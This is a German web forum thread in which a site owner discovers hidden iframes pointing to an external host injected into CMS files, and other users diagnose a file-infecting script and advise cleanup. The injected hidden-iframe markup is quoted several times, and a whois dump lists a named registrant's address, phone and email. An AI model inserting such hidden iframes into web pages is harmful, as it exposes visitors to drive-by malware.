Suche

[Catmandu]

Hallo Zusammen,

arbeite gerade an meinen neuen Seiten.

Setze Integral ein und habe Logo und Seitentitel auskommentiert.

Jetzt habe ich im Bodymain:

<iframe height="149" width="134" style="visibility: hidden;" src="http://lzwn.in:8080/index.php"/><iframe height="149" width="134" style="visibility: hidden;" src="http://lzwn.in:8080/index.php"/>

Das verursacht eine weisse Stelle bis der eigentliche Inhalt beginnt.

Ehrlich gesagt, kann ich damit garnichts anfangen?

Wer weiss Rat?

Vielen Dank und Gruss
Catmandu

[Catmandu]

So wie das ausschaut hat es nichts mit dem Theme zu tun.

Es ist ein Tag im mainfile.php, ganz unten.

Jezt habe ich es wie folgt auskommentiert:

<!--<iframe src="http://lzwn.in:8080/index.php" width=134 height=149 style="visibility: hidden"></iframe>-->

Denn noch, weiss ich nicht, was das ist und wofür? Vielleicht ist es ja was ganz harmloses und ich mach mich gerade zum Trottel...

[Dukewh]

Ich will dich ja nicht (evtl. unnötig) Beunruhigen, aber sowas hatte ich mal - allerdings mit http://weisnichtmehr.pl
Allerdings auf der localen Testinstallation von Pragma (und Anderem) .
Es stellte sich heraus, dass ich auf einer Webseite einen Script eingefangen habe, der so einen iFrame -Aufruf in jede htm* und php Seite geschrieben hat.
Sollte es bei dir ähnlich sein, dann leite zuerst in der host Datei "lzwn.in" ins Nirwana bevor du einen Suchlauf nach Inhalt startest und alle gefundenen von dem Aufruf bereinigst!
Vile Glück

[martin b]

Hi

Es scheint, wie Dukewh schrieb zu sein. Im ganzen Themeordner des Integral, findet sich kein Mainfile.php!

Gruß
martin b

[Dukewh]

das haste falsch verstanden, er schrieb:

So wie das ausschaut hat es nichts mit dem Theme zu tun

Es ist ein Tag im mainfile.php, ganz unten.

.

[Catmandu]

Weiss ja nicht, ob es damit zusammenhängt, doch wenn ich jetzt


1.
im adminmenü forum aufrufe kommt: pragmaMx-SMF Integration is not installed

Doch wenn ich auf install gehe heisst es: The pragmaMx Bridge is already installed!

und im Quelltext findet sich wieder:

<iframe height="149" width="134" style="visibility: hidden;" src="http://lzwn.in:8080/index.php">


2.
auf Your_Account gehe heisst es:

Parse error: syntax error, unexpected '<' in /www/htdocs/XXX/modules/Your_Account/index.php on line 164

Da hab ich mir wohl was eingefangen oder?

[Dukewh]

Du bestätigst meine Vermutung!
Der Script hat die iFrame Zeile nicht immer korrekt ans Ende geschrieben, sondern bei manchen Dateien wahllos irgendwo mitten drin.
Bei htm mag das noch keine offensichtlichen Fehler produzieren, aber im php-Script...

Es hilft dir nichts, mach  einen Suchlauf nach Dateiinhalt mit ""lzwn.in" und schau dass du alles sauber bekommst.

Nachtrag:
schau doch mal zuerst bei "/www/htdocs/XXX/modules/Your_Account/index.php on line 164" in der Zeile 164 nach, ich könnt wetten, dass das iFrame auftaucht.

[Dukewh]

Whois zu "lzwn.in"
Website Titel: CroiZade nouvelle version ! Administration
IP-Adresse: 90.156.145.198

IP-Location:
- RU - Russian Federation
Response Code:
HTTP/1.1 200 OK
   
Server Type:
Apache/2.0.59 (Unix) mod_ssl/2.0.59 OpenSSL/0.9.8e DAV/2 PHP/5.2.1

Registrant Name:Mihail Vorobyev
Registrant Organization:Mihail Vorobyev
Registrant Street1:Bredova str. d.22 kv.18
Registrant Street2:
Registrant Street3:
Registrant City:Apatity
Registrant State/Province:Murmanskaya
Registrant Postal Code:184215
Registrant Country:RU
Registrant Phone:+7.8153132082
Registrant Phone Ext.:
Registrant FAX:+7.8153132082
Registrant FAX Ext.:
Registrant Email:agenda@cybernauttech.com

[Catmandu]

Also, der hat sich in diverse index.php der Module eingenistet. Wohin noch weiss ich nicht.
Das beste dürfte wohl sein, alles löschen und neu aufspielen oder?

Gott sei Dank sind die Pages noch nicht in Betrieb...

Oder Gibt es eine andere Lösung?

[Dukewh]

Dann muss ich dir gleich noch einen Zahn ziehen.
Das ganze hat zu 99,9% nichts mit Pragma zu tun. Wenn es der gleiche Script ist, dann sind alle auf dem Rechner erreichbaren htm und php betroffen.
Pragma neu aufspielen ist die einfachste Methode, wenn du noch nicht zu viel angepasst hast - ansonsten Datei für Datei reinigen.

So, jetzt muss ich erst mit den Hunden raus - bis später.

[Catmandu]

Hab gerade mit allinkl gesprochen. Die sind ja nett und kompetent wie immer.

Es heisst, das es hacker sind und man konnte mit einer Auswertung genau sagen, wann die sich zum ersten mal eingehackt haben.

Jezt soll ich all meine Zugangsdaten ändern und natürlich auch die heimische Kiste durchscannen...

Ich hoffe nur, dass die anderen Domains nicht betroffen sind.

Danke für eure Hilfe und habt noch einen schönen Abend.

Ich bin ja jetzt beschäftigt...